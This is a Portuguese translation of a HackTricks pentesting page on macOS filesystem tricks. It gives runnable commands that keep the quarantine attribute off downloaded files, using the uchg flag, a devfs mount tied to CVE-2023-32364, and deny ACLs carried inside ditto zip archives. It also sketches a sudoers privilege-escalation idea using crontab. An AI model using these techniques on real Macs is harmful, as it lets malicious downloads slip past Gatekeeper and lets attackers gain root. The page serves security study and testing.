hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks
2023-10-18 17:56:06 +00:00
..
macos-xattr-acls-extra-stuff.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2023-10-18 17:56:06 +00:00
README.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2023-10-18 17:56:06 +00:00

Truques do macOS FS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

FD Arbitrário

Se você pode fazer um processo abrir um arquivo ou uma pasta com privilégios elevados, você pode abusar do crontab para abrir um arquivo em /etc/sudoers.d com EDITOR=exploit.py, assim o exploit.py obterá o FD para o arquivo dentro de /etc/sudoers e o abusará.

Por exemplo: https://youtu.be/f1HA5QhLQ7Y?t=21098

Truques para evitar atributos de quarentena

Flag uchg

Se um arquivo/pasta tiver esse atributo imutável, não será possível colocar um xattr nele.

echo asd > /tmp/asd
chflags uchg /tmp/asd
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'

ls -lO /tmp/asd
# check the "uchg" in the output

Montagem do defvfs

Uma montagem do devfs não suporta xattr, mais informações em CVE-2023-32364

mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'

ACL writeextattr

Esta ACL impede a adição de xattrs ao arquivo.

rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

cd /tmp
echo y | rm test

# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test

# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test

com.apple.acl.text xattr + AppleDouble

O formato de arquivo AppleDouble copia um arquivo incluindo suas ACEs.

No código-fonte, é possível ver que a representação de texto do ACL armazenada dentro do xattr chamado com.apple.acl.text será definida como ACL no arquivo descompactado. Portanto, se você comprimir um aplicativo em um arquivo zip com o formato de arquivo AppleDouble com um ACL que impede que outros xattrs sejam gravados nele... o xattr de quarentena não será definido no aplicativo:

Verifique o relatório original para obter mais informações.

Para replicar isso, primeiro precisamos obter a string de acl correta:

# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs

# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip

# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test

(Note que mesmo que isso funcione, a sandbox escreve o atributo de quarentena antes)

Não é realmente necessário, mas eu deixo aqui caso seja necessário:

{% content-ref url="macos-xattr-acls-extra-stuff.md" %} macos-xattr-acls-extra-stuff.md {% endcontent-ref %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥